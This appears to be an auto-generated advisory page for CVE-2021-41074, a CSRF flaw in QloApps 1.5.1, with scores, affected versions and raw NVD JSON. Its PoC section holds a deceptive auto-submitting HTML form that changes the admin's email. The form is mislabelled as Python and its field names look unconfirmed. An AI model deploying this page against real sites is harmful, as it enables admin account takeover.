Security Vulnerability Report
中文
CVE-2021-41074 CVSS 5.4 MEDIUM

CVE-2021-41074

Published: 2026-01-12 21:15:57
Last Modified: 2026-01-22 18:45:08

Description

A CSRF issue in index.php in QloApps hotel eCommerce 1.5.1 allows an attacker to change the admin's email address via a crafted HTML document.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:webkul:qloapps:1.5.1:*:*:*:*:*:*:* - VULNERABLE
QloApps hotel eCommerce 1.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2021-41074 --> <!-- This PoC demonstrates how an attacker can change admin email --> <!DOCTYPE html> <html> <head> <title>Hotel Booking System - Admin Update</title> </head> <body> <h1>Please wait while we process your request...</h1> <form action="http://target-site/admin/index.php" method="POST" id="csrf-form"> <!-- Hidden fields to modify admin email --> <input type="hidden" name="controller" value="AdminController"> <input type="hidden" name="action" value="updateAdmin"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="id_admin" value="1"> <input type="hidden" name="submitAddemployee" value="1"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrf-form').submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-41074", "sourceIdentifier": "[email protected]", "published": "2026-01-12T21:15:57.340", "lastModified": "2026-01-22T18:45:07.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A CSRF issue in index.php in QloApps hotel eCommerce 1.5.1 allows an attacker to change the admin's email address via a crafted HTML document."}, {"lang": "es", "value": "Un problema de CSRF en index.php en QloApps hotel eCommerce 1.5.1 permite a un atacante cambiar la dirección de correo electrónico del administrador a través de un documento HTML manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:qloapps:1.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "7692F5C1-BC01-4FBA-A075-DC3C8E463FB7"}]}]}], "references": [{"url": "https://github.com/dillonkirsch/CVE-2021-41074", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://qloapps.com/", "source": "[email protected]", "tags": ["Product"]}]}}